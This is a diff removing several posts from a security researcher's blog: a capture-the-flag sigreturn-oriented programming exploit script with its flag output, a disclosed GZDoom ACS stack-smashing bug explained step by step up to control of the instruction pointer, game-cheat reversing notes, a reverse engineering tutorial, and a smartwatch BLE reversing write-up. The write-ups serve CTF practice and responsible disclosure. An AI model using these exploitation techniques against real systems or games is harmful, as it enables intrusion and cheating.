[[https://docs.pwntools.com/en/stable/][pwntools]] provides the =pwnlib.rop.srop= -package for creating sigcontext frames, and the API is simple enough to -understand just from the exploit code. - -#+BEGIN_SRC python :hl_lines 0 -#!/usr/bin/env python - -from pwn import * - - -SIGCONTEXT = SigreturnFrame(arch="amd64") -SIGCONTEXT.rax = 0x01 -SIGCONTEXT.rdi = 0x01 -SIGCONTEXT.rsi = 0x10000023 -SIGCONTEXT.rdx = 0x29 -SIGCONTEXT.rip = 0x10000015 - -proc = remote("163.172.176.29", 9034) -proc.sendline(bytes(SIGCONTEXT)) -print(proc.recv()) -#+END_SRC - -#+BEGIN_SRC -[jakob@Epsilon funsignals]$ ./exploit.py -[+] Opening connection to 163.172.176.29 on port 9034: Done -b'flag{W3lc0m3_T0_th3_n3w_w0rld_OF_S1gn4l5}' -[*] Closed connection to 163.172.176.29 port 9034 -#+END_SRC - -As an aside, you typically won't have an explicit call to =sigreturn(2)= in the -binary. Sigreturn-oriented programming is most commonly combined with ROP, where -a gadget to load =0xf= into =%rax= and a gadget to perform a syscall are used. diff --git a/org/Bad BEHAVIOR/bad-behavior.org b/org/Bad BEHAVIOR/bad-behavior.org deleted file mode 100644 index 87e0ae7..0000000 --- a/org/Bad BEHAVIOR/bad-behavior.org +++ /dev/null @@ -1,188 +0,0 @@ -#+TITLE: Bad BEHAVIOR -#+DATE: <2018-01-04 Thu 15:45> -#+TAGS: writeup, security, binary-exploitation, video-games, x86, doom - -TL;DR, I discovered a stack-smashing vulnerability in GZDoom's interpreter for -ACS. As a preface, there's a tendency for whitepapers like this in the security -community to be written with a somewhat condescending tone towards the product's -vendor. I do not mean for any portion of this writeup to come off as degrading -to the developers involved. Yes, the bug was obvious to /me/, but it was still -subtle enough that it went under the radar for nearly 23 years. Most developers -aren't actively thinking about this kind of attack while writing a bytecode -interpreter. I have an enormous amount of respect for the development teams of -both GZDoom and Zandronum, who were quick to issue a patch addressing the issue -and were respectful of my wishes to release this whitepaper to the public. I'd -also like to thank everyone I had the pleasure of working with during this -process; it warms my heart to know that the communities behind these open-source -software projects are this friendly. - -Documentation and exploit code are available [[https://git.sr.ht/~jakob/bad-behavior][here]], which is where I would like -to direct any source port maintainers. There is a good chance that your port is -vulnerable, and the patch to fix it is not overly-complicated. - ---- - -It's been a little over a year and a half since my first capture-the-flag -competition. In that time, I've exploited countless binaries, all simulated. -Popping a shell had no impact, no consequences within the real world. Recently, -though, I've experienced somewhat of a wake up call. The day has finally come -that I've discovered a security-critical bug in the wild to call my own. - -The research was impromptu, motivated by a few things I noticed while working -away on a map for Doom. If you want to script events in Doom, such as a boss -spawning and text appearing on the screen when the player flips a switch, you -use a somewhat obscure DSL called [[https://zdoom.org/wiki/ACS][ACS]]. The language was designed in the 90's for -Hexen, a game intended to run on MS-DOS, so the implementation is full of design -decisions that seem archaic nowadays. For one, scripts are compiled ahead of -time into a bytecode object, which is then stored in a map's BEHAVIOR [[https://zdoom.org/wiki/Lumps][lump]], and -finally run on a stack machine that has access to the game's state. - -ACS bytecode isn't completely unfamiliar to me; I wrote a disassembler for it a -while ago in an attempt to learn more about radare2's internals. Despite this, -the idea that the interpreter for it might allow some foul play to go by didn't -cross my mind until I was actually working with ACS on the source code level. -The language is, to say the least, hacked together. The type system is extremely -weak, and on a low level, the only type it understands is int. There's support -for strings, but they're an index into a table in the bytecode object, which can -lead to some interesting behavior. Take this valid ACS code, for example: - -#+BEGIN_SRC -script 1 ENTER { - print(s:"You picked the wrong house, foo'!"); - - // Also displays "You picked the wrong house, foo'!" - print(s:0); -} -#+END_SRC - -String constants are casted to the index at which they are located in the string -table, which means you can do math with strings - albeit a little less intuitive -than string math in Javascript. - -#+BEGIN_SRC -script 1 ENTER { - // Displays "1" (Since that's 0 + 1) - print(d:"First String" + "Second String"); -} -#+END_SRC - -There are a handful of other quirks, such as the fact that arguments can be -omitted when you invoke a function. The fragile nature of ACS made me want to -look at GZDoom's implementation to see if it would reject any code that does -things it shouldn't. What I initially had in mind was pulling something out of -the string table that doesn't exist, but when I cracked open the source code to -look at =PCD_PRINTSTRING=, I noticed something a little more sinister. - -#+BEGIN_SRC cpp :hl_lines 0 -case PCD_PRINTNUMBER: - work.AppendFormat ("%d", STACK(1)); - --sp; - break; -#+END_SRC - -Hm? It looks like the stack pointer is decremented without any bounds checking. -This is C++, though, and it's entirely possible that this is operator -overloading, so I looked at how the interpreter's stack was implemented. - -#+BEGIN_SRC cpp :hl_lines 0 -FACSStack stackobj; -int32_t *Stack = stackobj.buffer; -int &sp = stackobj.sp; -#+END_SRC - -No, it isn't operator overloading. This is bad. As an adversary who can -manipulate the bytecode in a BEHAVIOR lump, we have complete control over an -index into a buffer. Let's take a peek at =FACSStack=. - -#+BEGIN_SRC cpp :hl_lines 0 -struct FACSStack -{ - int32_t buffer[STACK_SIZE]; // STACK_SIZE is 0x1000 - int sp; - FACSStack *next; - FACSStack *prev; - static FACSStack *head; - - FACSStack(); - ~FACSStack(); -}; -#+END_SRC - -Take note that the stack pointer is adjacent to the buffer. That will be -important in the exploit. - -Let's start with a few experiments. The first thing I did was add some debug -prints to certain points in the ACS interpreter so that I could see where the -stack pointer is within the program's memory map. Now we can get our hands dirty -with ACS bytecode. At the time I was performing this research, I didn't know how -everything in the BEHAVIOR lump contributed to the final image, so I spent about -a half hour figuring out how to create a valid bytecode object by looking at -different BEHAVIOR lumps in a hex editor. What I /should/ have done was slowed -down and looked at =FBehavior::Init= in =p_acs.cpp=, but whatever, my way worked -with some trial and error. If you want to play with hand-writing ACS bytecode on -your own, you can use my exploit code as a base. Just alter the "payload" array -to contain the bytes you want to have run. - -Now, this is where the post is going to get a little confusing, since I have to -talk about two entirely different stacks. For the remainder of this whitepaper, I'll -refer to the ACS interpreter's stack as "VStack," and the GZDoom process's stack -as "SStack." - -Initially, I showed off the implementation of =PCD_PRINTNUMBER=, but something -that decrements the VStack pointer isn't desirable. Let me explain - the SStack -grows downwards on x86; that is, the SStack pointer starts at a very high -address and decreases as you push things onto the SStack. The VStack works in -the opposite direction: as you push things onto the VStack, the VStack pointer -increases. We want to traverse the SStack to the return address, which was -pushed before our script began execution, so we want an opcode that increments -the VStack pointer instead of one that decrements it. Fortunately, this isn't -difficult to find. - -#+BEGIN_SRC cpp :hl_lines 0 -case PCD_PUSHBYTE: - PushToStack (*(uint8_t *)pc); - pc = (int *)((uint8_t *)pc + 1); - break; -#+END_SRC - -Where =PushToStack= is a macro defined as: - -#+BEGIN_SRC cpp :hl_lines 0 -#define PushToStack(a) (Stack[sp++] = (a)) -#+END_SRC - -So the exploit /will/ overwrite the locals in the interpreter's stack frame, but -there's only really one variable we have to worry about borking, which I'll talk -about in a little bit. Let's jump in and craft a BEHAVIOR lump which calls -=PUSHBYTE= a bunch of times. - -#+CAPTION: A screenshot of my terminal showing an abrupt end to the debug prints I added for inspecting the absolute memory addresses of SStack and VStack. -[[./debug-prints.png]] - -We seem to end prematurely, which is because we hit the stack pointer. We will -have to modify our exploit to step over it somehow, which we can do by -overwriting the stack pointer to a value which points beyond it. Notice, -however, that =PUSHBYTE= increments the stack pointer by a whole four bytes. -When we push a byte, we're actually pushing a 4-byte integer with the high bytes -all set to 0, so we can't overwrite the stack pointer one "byte" at a time. -Fortunately, there is another ACS opcode, =PCD_PUSHNUMBER=, which pushes a full -4-byte integer. - -With some fiddling in GDB, we can find that the distance between the stack -buffer and where the return address is 4122 bytes. So we actually kill two birds -with one stone by smashing the stack pointer - the offset to the return address -is small enough that the desired stack pointer value fits into a 4 byte word. As -soon as we overwrite the stack pointer, we're at the return address. I suppose -maybe we killed three birds with one stone here, since we jumped over the stack -canary, too. Now we're at the fun part and can overwrite the return pointer with -another call or two to =PCD_PUSHNUMBER=. My exploit code writes -=0xdeadbeefcafebabe=, for the reason that it's recognizable in a stacktrace, but -theoretically you could overwrite the least significant bytes of the return -address and jump somewhere in GZDoom's =.text= segment, bypassing ASLR. - -We have complete control over the instruction pointer. Also, while I was -disclosing this to the development team, we discovered that vanilla Hexen has -this same arbitrary code execution vulnerability. No proof-of-concept yet. - -#+CAPTION: One of my posts in an internal discussion on the GZDoom forums regarding the same exploit existing in the vanilla Hexen code. -[[./vanilla-hexen-vulnerability.png]] diff --git a/org/Bad BEHAVIOR/debug-prints.png b/org/Bad BEHAVIOR/debug-prints.png deleted file mode 100644 index 538ccec..0000000 Binary files a/org/Bad BEHAVIOR/debug-prints.png and /dev/null differ diff --git a/org/Bad BEHAVIOR/vanilla-hexen-vulnerability.png b/org/Bad BEHAVIOR/vanilla-hexen-vulnerability.png deleted file mode 100644 index 510cf5f..0000000 Binary files a/org/Bad BEHAVIOR/vanilla-hexen-vulnerability.png and /dev/null differ diff --git a/org/Browser Games Aren't an Easy Target/browser-games-aren-t-an-easy-target.org b/org/Browser Games Aren't an Easy Target/browser-games-aren-t-an-easy-target.org deleted file mode 100644 index d752adf..0000000 --- a/org/Browser Games Aren't an Easy Target/browser-games-aren-t-an-easy-target.org +++ /dev/null @@ -1,654 +0,0 @@ -#+TITLE: Browser Games Aren't an Easy Target -#+DATE: <2020-01-10 Fri 18:39> -#+TAGS: writeup, programming, reverse-engineering, video-games, game-hacking, javascript - -If you're about my age and had a similarly dull upbringing, you probably also -have memories of playing video games behind a teacher's back whenever class -involved going to some sort of "computer lab." Flash games were the thing when I -was in elementary school, and when I was in middle school, I'd bring Quake with -me on a flash drive. By the time I was in high school, I'd realized that these -opportunities were better spent getting a head start on homework for other -classes, but I did have a few friends who still passed the time playing video -games. Rather than Flash games or Quake, though, these were browser games using -the new-fangled HTML5 canvas. I'd practically forgotten these games existed -until someone from my capture-the-flag team mentioned "krunker.io". [[http://iogames.space/][Apparently]] -it's one of the more popular ones. It got me thinking about how I'd go about -writing cheats for a game in the browser. Writing cheats for CS:GO was a breeze, -so why would this be any harder? I had some time to spare over winter break, so -I decided to give it a go and see what kind of damage I could do. - -* Reconnaissance - -[[https://mitmproxy.org/][mitmproxy]] was pretty much the only tool I used in this project. The first thing -I did was hook my browser up to it and load the game to see what kinds of -requests it made.[fn:1] - -[[./mitmproxy-initial.png]] - -I've truncated it here because the flows that came afterwards were just assets. -Right off the bat, we're learning quite a bit about the game's infrastructure. -Namely that it has three parts: - -1. 'krunker.io', the URL you type into your browser, which is where the code is. -2. 'assets.krunker.io', for serving up textures and models. -3. 'matchmaker.krunker.io', which appears to be some sort of REST API for - finding a game. - -I'm sure that reversing the Matchmaking API would be fun, but there's more fun -to be had in messing with the code. - -** Code - -We can see from the flow that the following libraries are loaded: - -- 'jquery-3.2.1.min.js' -- 'jquery-ui.js' -- 'howler.min.js' -- 'Tween.min.js' -- 'nipplejs.min.js' -- 'zip.js' -- 'zip-ext.js' - -We all know what jQuery is. After consulting the all-mighty search engine of the -interwebs, I figured out that [[https://howlerjs.com/][howler.js]] is an audio library, that [[https://github.com/tweenjs/tween.js/][tween.js]] is a -library for animations, and that [[https://yoannmoi.net/nipplejs/][nippleJS]] is a virtual joystick for mobile -devices.[fn:2] I was tripped up by 'zip.js' and 'zip-ext.js' initially, thinking -that these are where the code is, but it didn't take long to realize that these -constitute the [[https://gildas-lormeau.github.io/zip.js/][zip.js]] library for working with ZIP files. Well, if the game code -isn't in any of those files, then it has to be inlined in a = -#+END_EXPORT - -... - -Even if your new "Anti Cheat" was this :) - -#+BEGIN_EXPORT html -
- -
-#+END_EXPORT - ------ - -I'm inevitably going to get flack for cheating in a video game. Before you write -me an email, understand that I really don't care. I have a lot more fun reverse -engineering games and writing cheats for them than I do playing them. If it -makes you feel any better, the only time these cheats see any use is when I'm -demonstrating them. Peace out. - -[fn:1] I didn't notice the request for '/textures/recticle.png' until I was editing this. Sheesh, that's an unfortunate typo. -[fn:2] Given that the author is a self-proclaimed "JavaScript and NodeJS developer", I'm not particularly surprised by the embarrassingly childish name. Go ahead, bud. Put that on your CV. -[fn:4] Identifiers like ='VuFlFKJOHFGfinUeccOKbaQQPyhjvfYD'= are pretty common in the code. I suspect these are the high-stakes variables that people like me would be grepping for. - -# ** Matchmaking - -# GET https://matchmaker.krunker.io/generate-token -# referer/origin: https://krunker.io - -# > Response with -# { -# "input": "[TOKEN]" -# } - - -# GET https://matchmaker.krunker.io/ping-list?hostname=krunker.io -# referer/origin: https://krunker.io - -# > Response with -# { -# "[server-name]": "[address]" -# } - -# GET https://matchmaker.krunker.io/seek-game -# referer/origin: https://krunker.io -# GET PARAMS: hostname=krunker.io, region=[REGION], autoChangeGame=false, validationToken=[TOKEN], dataQuery={"v":"Q43rG"]} - -# > Response with -# { -# "changeReason": null, -# "clientID": "feb0c9f1-128a-4993-a381-bbf7a56318da", -# "gameId": "NY:dvn7x", -# "host": "[address]", -# "port": "[port]" -# } - -# GET https://matchmaker.krunker.io/game-info?game=[id] -# referer/origin: https://krunker.io - -# > Response with info about the game. diff --git a/org/Browser Games Aren't an Easy Target/mitmproxy-initial.png b/org/Browser Games Aren't an Easy Target/mitmproxy-initial.png deleted file mode 100644 index 3b022e7..0000000 Binary files a/org/Browser Games Aren't an Easy Target/mitmproxy-initial.png and /dev/null differ diff --git a/org/Decompilation By Hand/decompilation-by-hand.org b/org/Decompilation By Hand/decompilation-by-hand.org deleted file mode 100644 index e55c8a8..0000000 --- a/org/Decompilation By Hand/decompilation-by-hand.org +++ /dev/null @@ -1,193 +0,0 @@ -#+TITLE: Reverse Engineering By Hand -#+DATE: <2018-03-01 Thu 19:00> -#+TAGS: tutorial, reverse-engineering, x86, c, linux - -My capture-the-flag team played in the Insomni'hack teaser this year. During the -competition, I worked on a single challenge titled "sapeloshop." It was labeled -as "Medium-Hard," and it was in the binary exploitation category. The source -code for the server wasn't provided, so reverse engineering was necessary. I -don't think that having to reverse the binary was supposed to be the hard part, -as most of the behavior could have been inferred through some high-level -analysis, yet I spent nearly five hours fruitlessly trying to reverse it, and -the subsequent burnout was bad enough that I went home early. This wasn't the -first time a reversing task had gotten the best of me; there had been a few -competitions last year where I felt a similar loss in motivation. Noticing this -recurring pattern frustrated me, and that frustration drove me to think about -ways to improve myself as a reverse engineer. - -My initial idea was to work on expanding my skill set, but with some further -reflection, I came to the realization that the weakness was my process. I was -going at the task of reverse engineering without a plan: beginning by opening -the binary in radare, propagating from the entrypoint, and renaming a few -variables as I went along. I was trying to make sense of the program by -passively reading the disassembly listing. This /might/ work for someone who -lives and breathes assembly, but that certainly doesn't apply to me. What I -needed was a way to engage with the binary at hand beyond trying to passively -absorb it. - -With that, my first step was to come up with a more formally-defined idea of -what's involved in "reverse engineering." I still don't think I have anything -close to a complete description, but pondering on how reverse engineering tools -are designed certainly helped to solidify my existing understanding. Namely, I -was reminded of software suites advertised as "decompilers." They serve as a -stepping stone in an *iterative* process of turning machine code into something -that would be easier for a human to understand. They give an obviously -machine-generated C/C++ representation of the machine code, and the reverse -engineer continues by filling in the blanks with semantics. - -Now, I have a few issues with the idea of automated decompilation. For one, the -tooling simply isn't accessible. The only working decompiler I've used, IDA Pro, -is ridiculously expensive. Also, when I say, "working," I mean that it doesn't -segfault upon opening the binary. Even IDA Pro doesn't work perfectly in every -situation - especially those in which the binary has been intentionally -obfuscated. Because of this, there are arguments against the use of decompilers: -notably, [[https://blog.ret2.io/2017/11/16/dangers-of-the-decompiler/][this article]]. - -But the goal wasn't to have a program to do the work for us anyway, it was to -come up with a more effective methodology for reverse engineering a binary. -Unlike software, human reversers can adapt to the situation at hand - they don't -need rules defined in the same way that a computer would. As such, I've come up -with a protocol in a similar vein to [[https://en.wikipedia.org/wiki/SQ3R][SQ3R]] for reverse engineering machine code -to higher-level constructs. The protocol is still in its infancy, and I have -hopes to expand upon it in the future, but I have found it to still be quite -useful in its current state. - -I'd consider subroutines to be the fundamental atoms of a binary, and that's -what this protocol focuses on. However, being able to understand the subroutines -that compose a program doesn't necessarily imply an understanding of the whole -program. These are things that I hope to incorporate into the protocol in the -future, but for now, they are given as a handful of necessary precursors. - -For one, you should get a high-level understanding of what the program does. I -would recommend initially treating it as a black box: What does this program do? -Is it a web server? A crypto algorithm? I find that it's useful to copy down any -text that the program outputs, as you can use the string references later on -when you look at the machine code. You should also test plenty of inputs. What -does the program do for typical edge cases? What error handling does it do? This -might all seem extremely mundane, but if you understand the program at this -level, it gives you things to recognize in the disassembly listing. This is -absolutely essential when it comes to something more complicated than the toy -programs you might see in a capture-the-flag. I've been working a lot with the -Team Fortress 2 binaries recently, and understanding how and where certain -string references are used has given me a way to find just the functionality I'm -interested in, as opposed to trying to understand the entire 33 MB shared -object. - -That brings me to another point: you might not even need to reverse all of the -subroutines in the binary. In a binary exploitation challenge, it might make -sense to audit the seemingly mundane input-handling functions, but if you can -tell from the usage alone that all a subroutine does is print something, it -probably isn't worth your time to disassemble it. Remember, you can always come -back to something later, but if you waste your time on it, those are valuable -competition minutes that you'll never get back. - -Finally, this is more general, and it's something that I think every reverse -engineer knows, but it's worth mentioning regardless. If you don't know the ISA, -the architecture's calling conventions, or the quirks of the language design and -the compiler, it might be in your best interest to create a "lexicon" of -high-level constructs and how they're represented in assembly. There's -absolutely no shame in doing this, and it's been especially helpful for me when -I've looked at any binaries that were compiled with MSVC. One tool that I've -found useful for creating these lexicons is the [[https://godbolt.org/][Godbolt Compiler Explorer]]. - -Hopefully that wasn't too long of an introduction. Now we can get into the -protocol itself. It's composed of five steps and make up a mnemonic: "SCARS." -The first step is to "skim," or "scan." The premise is to first get an idea -which memory addresses the subroutine spans, or how long it is. I usually look -for the typical "function epilogue," which might include a stack canary check, -or it might just be a =pop %rbp; ret.= Then, get context. See where the -subroutine is called and how it's called - figure out if there are any arguments -to the subroutine, and see if it returns anything. Finally, look over the -disassembly listing for the routine, paying attention to the use of stack -variables and global variables. Do any of those variables look like they might -be classes/structures? - -The second step is to "chunk." The first step should have given you a rough idea -of the control flow, but now you need to break the subroutine into smaller sets -of instructions that you can analyze. I usually separate based on whether or not -a set of instructions are skipped by a conditional jump. - -The third step is "arrange." Simply put, this involves taking your findings -about stack variables and such from the first step, and converting them to -declarations in the high-level language. I also like to make stubs for any other -subroutines that are called, since I'll probably be reversing those later -anyway. This third step also ties in with the fourth step, which is to -"recognize." This involves looking back on your lexicon of patterns, and -converting them to the high-level constructs that they represent. These two -steps are done simultaneously and are basically where you try to manually -decompile the chunks of machine code you plotted out in the previous step. - -The final step is to "simplify," which entails simplifying the resultant code -into something perhaps more understandable. For example, =1 << 4= is equivalent -to =1 * 2^4=, or just =4=. This also might be where you replace magic numbers -with constants. Whenever I see 0 passed to =read(3)=, I replace that with -=STDIN_FILENO=. - -I spent a little under twenty minutes last night reversing the binary from the -challenge I mentioned at the beginning of this post. That's not a lot of time -compared to how much I spent during the competition, and I got surprisingly far -(almost all of main!) If this were the competition, however, I would have done -it differently. Instead of starting at main, I would have probably started at -one of the functions for handling input and went backwards by checking for -XREF's. I only did it this way to test out the protocol for something I had -difficulty with in the past. Here are a few of the highlights. If you want to -look on with me, all of the files for the challenge can be found [[https://github.com/DhavalKapil/ctf-writeups/tree/master/insomni-hack-18/sapeloshop][here]]. - -The most useful part about rewriting the program in C is the malleability of -text. When I was obtusely reading disassembly listings, keeping track of how -values were being juggled across registers was difficult for me. But by -representing these instructions in C, I can convert a few of them into an -expression, comment which register they're in, and come back to use that -expression later. This is more useful when the juggling spans a large number of -instructions, but here's a smaller example where I still used it. The -disassembly at =0x1e15= is - -#+BEGIN_SRC asm -0x00001e15 488d8550b7ff. leaq -0x48b0(%rbp), %rax -0x00001e1c 488d90080400. leaq 0x408(%rax), %rdx -0x00001e23 488b8540b7ff. movq -0x48c0(%rbp), %rax -0x00001e2a 488d35bf0800. leaq str.User_Agent:__128, %rsi ; 0x26f0 ; "User-Agent: %128[^\r\n]\r\n" -0x00001e31 4889c7 movq %rax, %rdi -0x00001e34 b800000000 movl $0, %eax -#+END_SRC - -I had previously made a variable for =-0x48b0(%rbp)= during my "arrange" step, -temporarily named =local_48b0= until I figured out its usage and a better name -for it. Just from these six instructions, I can tell that it's a buffer of some -sort, so I started off with: - -#+BEGIN_SRC c -((void *) local_48b0); // rax -#+END_SRC - -Then, I handled the pointer arithmetic in the second instruction, and the third -instruction, since it replaced the value in =%rax=: - -#+BEGIN_SRC c -(void *) (((char *) (local_48b0)) + 0x408); // rdx -*((uint64_t *) local_48b0); // rax -#+END_SRC - -Ew. It's starting to look like some system programmer's personal Lisp dialect -now. Don't worry. It's gross now, but as you understand more of the subroutine, -you'll be able to declare variables in such a way that you won't need casts like -these. That's where the "simplify" step comes into play. - -Also, I should mention that you don't necessarily have to reverse the chunks you -came up with in a linear fashion. I saw a chunk with two calls to some -=__errno_location=, which I didn't want to deal with at the time, so I just went -on to the next chunk. Again, you can come back to stuff later, but this does -mean you need to keep track of which chunks you've covered. - -One thing I've done in the past with this protocol is to keep a little ASCII -drawing of the stack layout. It doesn't make a whole lot of sense here, since -there aren't any pushes or pops that would change the size of the stack frame, -but maybe you'll find it useful for 32-bit binaries. - -Oh, and one last thing. Not everything is worth adding into your decompilation. -For example, if I saw a timer being set up with =alarm(3)=, I would probably -ignore it. In fact, I'd patch it out, but that's a topic for another day. - -Any questions about things I mentioned in this post, or suggestions on how to -make it better? Both would be greatly appreciated. Contact info is on my -[[http://jakob.space][homepage]]. diff --git a/org/Dollar Bin Reverse Engineering/dollar-bin-reverse-engineering-firmware-mod.jpg b/org/Dollar Bin Reverse Engineering/dollar-bin-reverse-engineering-firmware-mod.jpg deleted file mode 100644 index 0b2302e..0000000 Binary files a/org/Dollar Bin Reverse Engineering/dollar-bin-reverse-engineering-firmware-mod.jpg and /dev/null differ diff --git a/org/Dollar Bin Reverse Engineering/dollar-bin-reverse-engineering-m2.jpg b/org/Dollar Bin Reverse Engineering/dollar-bin-reverse-engineering-m2.jpg deleted file mode 100644 index 25aefdb..0000000 Binary files a/org/Dollar Bin Reverse Engineering/dollar-bin-reverse-engineering-m2.jpg and /dev/null differ diff --git a/org/Dollar Bin Reverse Engineering/dollar-bin-reverse-engineering-mac.jpg b/org/Dollar Bin Reverse Engineering/dollar-bin-reverse-engineering-mac.jpg deleted file mode 100644 index 2c66f31..0000000 Binary files a/org/Dollar Bin Reverse Engineering/dollar-bin-reverse-engineering-mac.jpg and /dev/null differ diff --git a/org/Dollar Bin Reverse Engineering/dollar-bin-reverse-engineering-manual.jpg b/org/Dollar Bin Reverse Engineering/dollar-bin-reverse-engineering-manual.jpg deleted file mode 100644 index 731735a..0000000 Binary files a/org/Dollar Bin Reverse Engineering/dollar-bin-reverse-engineering-manual.jpg and /dev/null differ diff --git a/org/Dollar Bin Reverse Engineering/dollar-bin-reverse-engineering.org b/org/Dollar Bin Reverse Engineering/dollar-bin-reverse-engineering.org deleted file mode 100644 index 4bb02d9..0000000 --- a/org/Dollar Bin Reverse Engineering/dollar-bin-reverse-engineering.org +++ /dev/null @@ -1,751 +0,0 @@ -#+TITLE: Dollar Bin Reverse Engineering -#+DATE: <2021-12-24 Fri 09:42> -#+TAGS: writeup, hardware, reverse-engineering, tc32, radare2, java - -The background for this project is a lesson in avoiding dishonest vendors. Two -years ago, I was looking to purchase a smart watch with sleep tracking -capabilities[fn:1]; I've always had difficulty sleeping and wanted a way of -finally quantifying that difficulty. One of my requirements was the ability to -pull data off of the watch without the use of [[https://www.gnu.org/proprietary/][proprietary software]], so the only -options I was seriously considering were those on [[https://gadgetbridge.org/][Gadgetbridge]]'s "supported -devices" list. At the time, I was still in high school, and still awed by the -affordability of consumer electronics on websites such as AliExpress (woefully -unaware of the [[https://drewdevault.com/2019/11/20/China.html][ethical implications]] of supporting a totalitarian state's -economy). Moreover, I was somewhat capable of reading and writing 汉语, so the -[[https://en.wikipedia.org/wiki/Xiaomi_Mi_Band_2][Xiaomi Mi Band 2]] fit the bill. I took to Ebay to purchase one, finding a listing -for 10.99 USD with [[https://www.npr.org/2018/08/23/641140144/unraveling-the-mystery-behind-international-shipping-rates][free shipping]]. I ordered it, and things were okay. That is, -until the package arrived. - -#+CAPTION: Clearly _not_ the Mi Band 2. -[[./dollar-bin-reverse-engineering-m2.jpg]] - -What appeared outside my garage was not what I ordered. I gave the vendor the -benefit of the doubt, thinking that it may have been a mistake, and explained -that they had sent me the wrong product. - -#+BEGIN_QUOTE -Hi [my Ebay username], - -Thank you for your message. Sincerely sorry for your inconvenience. - -Please kindly konw [sic] that they are the same kind product and all the -functions are the same [sic]. In order to protect your interest, we suggest that -we issue $5 USD refund without returning the item and you can keep this item and -try to use it. If it is suit for you and please feel free to give us a positive -feedback. If it is still not your favor, please kindly do NOT leave any -feedback. - -Please kindly let us know if you agree. - -If you need further assistance or inquiry, please feel free to contact us. -#+END_QUOTE - -I'm antipathetic toward anyone trying to slight me, so I threatened to file a -complaint with Ebay. - -#+BEGIN_QUOTE -Hi [my Ebay username], - -We feel sorry to know that you have received your parcel but the watch you -received is not the same as the listing in our store. - -In order to protect your interest, we suggest that we issue a full refund -without returning the item and you can keep this item and try to use it. If it -suit for you and please feel free to give us a positive feedback. If it is still -not your favor, please kindly do NOT leave any feedback. - -Please kindly let us know if you agree. -#+END_QUOTE - -They did give me a refund, so I got the watch for free. But it was unusable to -me. I put it aside, noting its liberation as a project for another time. - -Years later, I decided that finally reverse engineering the smart watch would be -a nice [[https://en.wikipedia.org/wiki/COVID-19_pandemic][quarantine activity]] to share with my friends through the magic of live -streaming. The project is over now, but the recordings are available on -PeerTube. - -- [[https://toobnix.org/videos/watch/75d1d813-fc9e-415b-9c4a-d6e26faba94a][Friday Night Junk Hacking]] -- [[https://toobnix.org/w/rm1nVU4dzikxxkjQ8Dc69M][Friday Night Junk Hacking 2: Electric Boogaloo]] - -As usual, the project began with reconnaissance. There _was_ software to interface -with the watch, I just refused to install it on my cellphone[fn:2]. To figure -out how to talk to the watch, the path of least resistance was to reverse -engineer that software. [[https://play.google.com/store/apps/details?id=com.uthink.ring][It was an Android app.]] - -* Reverse Engineering Android Apps - -Most software using the Android SDK is written in [[https://en.wikipedia.org/wiki/Java_(programming_language)][Java]], a language which runs on -a [[https://en.wikipedia.org/wiki/Virtual_machine][process virtual machine]]. This means that Java code doesn't run "on the -processor"[fn:5], but instead in an interpreter-like program known as a "virtual -machine" (VM). Source code is still compiled, but the target is a fairly -high-level "bytecode" rather than the machine code that would be output by a C -compiler. - -Virtual machines can be quite fast, but the performance characteristics of the -Java VM were deemed unsuitable for the sorts of phones on the market in -Android's early days[fn:3]. Hence, the [[https://en.wikipedia.org/wiki/Dalvik_(software)][Dalvik]] virtual machine was developed: a -comparable process virtual machine with a register-based architecture (the Java -VM is stack-based) and fewer virtual machine instructions[fn:3]. Java bytecode -and Dalvik bytecode are nearly isomorphic; the latter can be thought of as an -optimistic post-processing of the former. The compilation process for an Android -app is, conceptually, using the Java compiler to obtain JVM bytecode for the -app's sources, and then feeding that bytecode into =dx= to obtain Dalvik bytecode. -Nowadays, the Dalvik VM is no more, but the techniques for reverse engineering -Dalvik bytecode are still relevant as modern Android runtimes still use the -[[https://source.android.com/devices/tech/dalvik/dex-format][Dalvik executable format]][fn:4]. - -A quick rundown of the process for reverse engineering android apps: an Android -APK, like you'd get from F-Droid or the Play Store, is just a [[https://en.wikipedia.org/wiki/Zip_(file_format)][ZIP archive]] with a -specific structure and some signatures. - -#+BEGIN_SRC prog -$ file com.uthink.ring.426.apk -com.uthink.ring.426.apk: Zip archive data, at least v0.0 to extract, compression method=deflate -$ unzip -l com.uthink.ring.426.apk | grep classes.dex - 8685980 00-00-1980 00:00 classes.dex -#+END_SRC - -All of the code is in one or more =classes.dex= files. You can, if you're a -caveman (or faced with some seriously obfuscated code), unzip the APK and dump -the =.dex= file into radare2 or [[https://github.com/JesusFreke/smali][smali]]. But I know how to use technology, so I used -[[https://github.com/skylot/jadx][JADX]] to recover something closer to Java source code. - -There are [[https://github.com/ashishb/android-security-awesome#readme][more tools]] out there. But in this case, I didn't need to reach for -anything besides JADX because the source code was unobfuscated. =R.java=, the -table of references to application resources, was as rich as the =symtab= of a -[[https://en.wikipedia.org/wiki/Strip_(Unix)][non-stripped ELF]]. - -#+BEGIN_SRC java -package com.uthink.ring; - -public final class R { - public static final class anim { - public static final int abc_fade_in = 2130771968; - public static final int abc_fade_out = 2130771969; - public static final int abc_grow_fade_in_from_bottom = 2130771970; - public static final int abc_popup_enter = 2130771971; - public static final int abc_popup_exit = 2130771972; - public static final int abc_shrink_fade_out_from_bottom = 2130771973; - public static final int abc_slide_in_bottom = 2130771974; - public static final int abc_slide_in_top = 2130771975; - ... -#+END_SRC - -I'd been saved 90% of the reverse engineering work. - -* An Introduction to Bluetooth Low Energy - -[[./dollar-bin-reverse-engineering-manual.jpg]] - -The manual that came with the watch left much to be desired, but it did at least -tell me that [[https://en.wikipedia.org/wiki/Bluetooth_Low_Energy][Bluetooth Low Energy (BLE)]] was being used to communicate with the -wearer's smartphone. Not well that, despite the name, BLE is a different -protocol from what's normally called "[[https://en.wikipedia.org/wiki/Bluetooth][Bluetooth]]". - -The premise of BLE is that one device acts as a "server" to which "clients" can -connect and request *characteristics*: essentially, some packet of data from the -server, such as the number of steps counted by the watch. There are a few other -concepts (services, descriptors) in BLE, but they largely wrap around the -concept of characteristics. - -A BLE server is identified by a [[https://en.wikipedia.org/wiki/MAC_address][MAC address]], and any particular characteristic, -service, etc. that a BLE server exposes is an *attribute*, which is identified by -a [[https://en.wikipedia.org/wiki/UUID][UUID]]. There are tools to enumerate the available attributes, [[https://f-droid.org/en/packages/org.ligi.blexplorer/][BLExplorer]] being -the one I used initially. - -In our case, the MAC address of the watch is conveniently available from the -user interface... for some reason. - -[[./dollar-bin-reverse-engineering-mac.jpg]] - -Though, if this weren't the case, it would be easy enough to run =hcitool lescan=. - -Furthermore, none of the characteristics require authentication to read from, so 